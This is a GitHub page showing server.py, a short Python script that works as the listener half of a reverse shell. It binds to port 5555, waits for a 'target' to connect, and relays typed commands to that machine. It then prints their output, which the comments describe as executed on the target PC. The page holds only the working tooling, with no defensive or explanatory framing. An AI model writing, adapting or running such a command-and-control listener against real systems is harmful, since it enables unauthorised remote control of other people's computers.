-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
34 lines (26 loc) · 839 Bytes
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
HOST = '0.0.0.0'
PORT = 5555
# set up the socket so that it waits for an incoming connection
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f'[*] listening as {HOST}:{PORT}')
# waiting for the target and sent a welcome message if it connected
client_s, client_addr = s.accept()
print(f'[*] client connected {client_addr}')
client_s.send('welcome'.encode())
# this loop will run, until you enter 'quit'
while True:
# 1. enter the command and send it to the target
cmd = input('>>> ')
client_s.send(cmd.encode())
# check if you want to quit
if cmd.lower() == 'quit':
break
# get the result of the command, executed on the target pc
result = client_s.recv(1024).decode()
print(result)
client_s.close()
s.close()